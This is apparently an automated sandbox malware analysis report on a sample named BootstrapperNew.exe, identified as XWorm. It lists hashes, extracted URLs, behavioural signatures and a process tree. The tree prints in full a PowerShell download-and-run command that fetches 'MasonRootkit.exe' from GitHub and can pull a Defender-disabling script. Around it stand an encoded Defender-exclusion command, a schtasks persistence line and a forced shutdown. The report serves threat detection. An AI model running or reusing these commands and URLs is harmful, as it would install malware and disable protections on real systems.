Analysis
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max time kernel
10s -
max time network
23s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
05/03/2025, 13:23
Static task
static1
Behavioral task
behavioral1
Sample
BootstrapperNew.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
BootstrapperNew.exe
Resource
win10v2004-20250217-en
Errors
General
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Target
BootstrapperNew.exe
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Size
2.9MB
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MD5
2326d97462601f0bf84459a19a23a307
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SHA1
b6d153b9984ad82202997707fe5e4fd135d3afb6
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SHA256
03cc93bdaefa6e5db157062dd90b796ff6a8f2f172e3be278e604ba9808f9ce4
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SHA512
fccf56201ca30da42c15d769a1af38d87f8bdc0562327096893e81738ad7a4a7e3c00cb425144e1ffa10d9e0e0f39fdd7e5287f74f88e4aa971aa3cc3e988568
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SSDEEP
49152:fCPqFzmYUMGs67ueIJdjo+fR60CqtZ4HdBJqlCmir3C7uXwonp1UECFgBT:f/DXVAu/kE69HHdB8lnirSSJqE+gT
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
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Install_directory
%port%
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install_file
svchost.exe
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pastebin_url
https://pastebin.com/raw/J42c6s7r
Signatures
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Detect Xworm Payload 3 IoCs
resource yara_rule behavioral2/files/0x0019000000023d01-15.dat family_xworm behavioral2/memory/3676-23-0x0000000000010000-0x0000000000024000-memory.dmp family_xworm behavioral2/memory/3676-714-0x000000001BD10000-0x000000001BD22000-memory.dmp family_xworm -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2484 created 620 2484 MasonRootkit.exe 5 -
Xworm family
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 100 powershell.exe 12 100 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 100 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 12 100 powershell.exe -
Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation BootstrapperNew.exe Key value queried \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation Local Security Authority Process.exe Key value queried \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation MasonRootkit.exe -
Executes dropped EXE 4 IoCs
pid Process 3512 BootstrapperNew.exe 3676 Local Security Authority Process.exe 2852 MasonRootkit.exe 2484 MasonRootkit.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "C:\\Users\\Admin\\AppData\\Roaming\\Local Security Authority Process.exe" Local Security Authority Process.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 32 raw.githubusercontent.com 11 raw.githubusercontent.com 12 raw.githubusercontent.com 14 pastebin.com 16 pastebin.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2484 set thread context of 856 2484 MasonRootkit.exe 100 -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Local Security Authority Process.exe BootstrapperNew.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language BootstrapperNew.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 4356 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2508 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 5004 powershell.exe 5004 powershell.exe 100 powershell.exe 100 powershell.exe 2484 MasonRootkit.exe 856 dllhost.exe 856 dllhost.exe 856 dllhost.exe 856 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3676 Local Security Authority Process.exe Token: SeDebugPrivilege 5004 powershell.exe Token: SeDebugPrivilege 100 powershell.exe Token: SeDebugPrivilege 2484 MasonRootkit.exe Token: SeDebugPrivilege 2484 MasonRootkit.exe Token: SeDebugPrivilege 856 dllhost.exe -
Suspicious use of WriteProcessMemory 43 IoCs
description pid Process procid_target PID 4244 wrote to memory of 5004 4244 BootstrapperNew.exe 84 PID 4244 wrote to memory of 5004 4244 BootstrapperNew.exe 84 PID 4244 wrote to memory of 5004 4244 BootstrapperNew.exe 84 PID 4244 wrote to memory of 3512 4244 BootstrapperNew.exe 86 PID 4244 wrote to memory of 3512 4244 BootstrapperNew.exe 86 PID 4244 wrote to memory of 3676 4244 BootstrapperNew.exe 87 PID 4244 wrote to memory of 3676 4244 BootstrapperNew.exe 87 PID 3676 wrote to memory of 100 3676 Local Security Authority Process.exe 88 PID 3676 wrote to memory of 100 3676 Local Security Authority Process.exe 88 PID 100 wrote to memory of 2852 100 powershell.exe 91 PID 100 wrote to memory of 2852 100 powershell.exe 91 PID 3676 wrote to memory of 2508 3676 Local Security Authority Process.exe 92 PID 3676 wrote to memory of 2508 3676 Local Security Authority Process.exe 92 PID 2852 wrote to memory of 2484 2852 MasonRootkit.exe 97 PID 2852 wrote to memory of 2484 2852 MasonRootkit.exe 97 PID 2852 wrote to memory of 4892 2852 MasonRootkit.exe 98 PID 2852 wrote to memory of 4892 2852 MasonRootkit.exe 98 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 2484 wrote to memory of 856 2484 MasonRootkit.exe 100 PID 856 wrote to memory of 620 856 dllhost.exe 5 PID 856 wrote to memory of 684 856 dllhost.exe 7 PID 856 wrote to memory of 956 856 dllhost.exe 12 PID 856 wrote to memory of 64 856 dllhost.exe 13 PID 4892 wrote to memory of 4356 4892 cmd.exe 101 PID 4892 wrote to memory of 4356 4892 cmd.exe 101 PID 856 wrote to memory of 740 856 dllhost.exe 14 PID 684 wrote to memory of 2624 684 lsass.exe 45 PID 856 wrote to memory of 952 856 dllhost.exe 15 PID 856 wrote to memory of 1108 856 dllhost.exe 17 PID 856 wrote to memory of 1116 856 dllhost.exe 18 PID 856 wrote to memory of 1176 856 dllhost.exe 19 PID 856 wrote to memory of 1188 856 dllhost.exe 20 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:64
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4ce64734-abab-4774-aa1d-2e3f29735d13}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:856
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x4 /state0:0xa39bb055 /state1:0x41c64e6d2⤵PID:1660
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
- Suspicious use of WriteProcessMemory
PID:684
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:740
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:952
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1116
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1176
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1188
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2624
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C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe"C:\Users\Admin\AppData\Local\Temp\BootstrapperNew.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4244 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGYAaQB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGsAaAB2ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAeABiACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5004
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C:\Users\Admin\AppData\Local\BootstrapperNew.exe"C:\Users\Admin\AppData\Local\BootstrapperNew.exe"2⤵
- Executes dropped EXE
PID:3512
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C:\Windows\Local Security Authority Process.exe"C:\Windows\Local Security Authority Process.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3676 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:100 -
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\ProgramData\MasonRootkit.exe"C:\ProgramData\MasonRootkit.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2484
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD06F.tmp.bat""5⤵
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
PID:4356
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Local Security Authority Process" /tr "C:\Users\Admin\AppData\Roaming\Local Security Authority Process.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2508
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C:\Windows\SYSTEM32\shutdown.exeshutdown.exe /f /s /t 03⤵PID:6104
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Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Modify Registry
1Obfuscated Files or Information
1Command Obfuscation
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
596KB
MD5bb2fd6c1b233fd2f08a6a43ef860bcb6
SHA11cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04
SHA2568c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce
SHA5122ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5
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Filesize
2.9MB
MD5f227cdfd423b3cc03bb69c49babf4da3
SHA13db5a97d9b0f2545e7ba97026af6c28512200441
SHA256cb5d6c1ca0aa6232a2d55e14b20ac4a9945a0bd063c57d60a5ed3ae94160e3e8
SHA512b10afd03b02a928545c16fad39a6ae46b68b1e1a2477a6990803ce80008e7161fb2ebc9380ba15a1b074bb436aa34bcd6c94a922933d438b1c22489717e1e10e
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Filesize
1KB
MD53982d6d16fd43ae609fd495bb33433a2
SHA16c33cd681fdfd9a844a3128602455a768e348765
SHA2569a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9
SHA5124b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa
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Filesize
1KB
MD57446d8ced64a2dbc337827fc1de29824
SHA153415867dc152a8fa3acb2e55a6c0696f60b8a25
SHA256abf04423d7deddbaf09c777b529cb7755a8e0f40ff0135d6a7a669b6a6f9a4f7
SHA512460e26ef6388dd2dc7dce1af96b164a275cb6751930035955af02d12916dbf4e960929a0b4fedb3419445f23690fb71388eac4ed263d06601f7cd873f6656e79
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Filesize
612KB
MD55e1eb1a67d40ccae40dee2a037ca6c64
SHA1786b54d3d451ea40faeeb20fd30a38744862eeb5
SHA25680e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f
SHA5120484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
164B
MD5af21891fe9730c895cb43f493c9a23d0
SHA1c9ea4ea8e9079c557a6bffb0d231e374fa91cf9d
SHA256b7645b83e151769a8f789cb1c1dd9eefd8208a4e7ad09e8b258da3de770da856
SHA512cd2e0aac3564683c3b5c268dcb1798b90d9f4a382b481a4943d9685f710e4a8d219d240c52cebb77dbeb3a68c4288a8f8d17546cd84b2975b93facbce6310297
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Filesize
55KB
MD5cc170e6bb05ddb76e910e86ebb984d3c
SHA13a7473e8d705754257ae685db2d9a0f125a814aa
SHA256b93f4dcb4b2b68370c18e6a7df1ea4d2c588826d6712d8e1493955c81735718b
SHA5120d1b32949e6e3fd398b9ca783eabe870e807985958018036f1a0880870d8649dd31c13a8723e32a1a8869c6c7646f1e64a4d10fbcc73ffa4829aaf8ffd3fe28a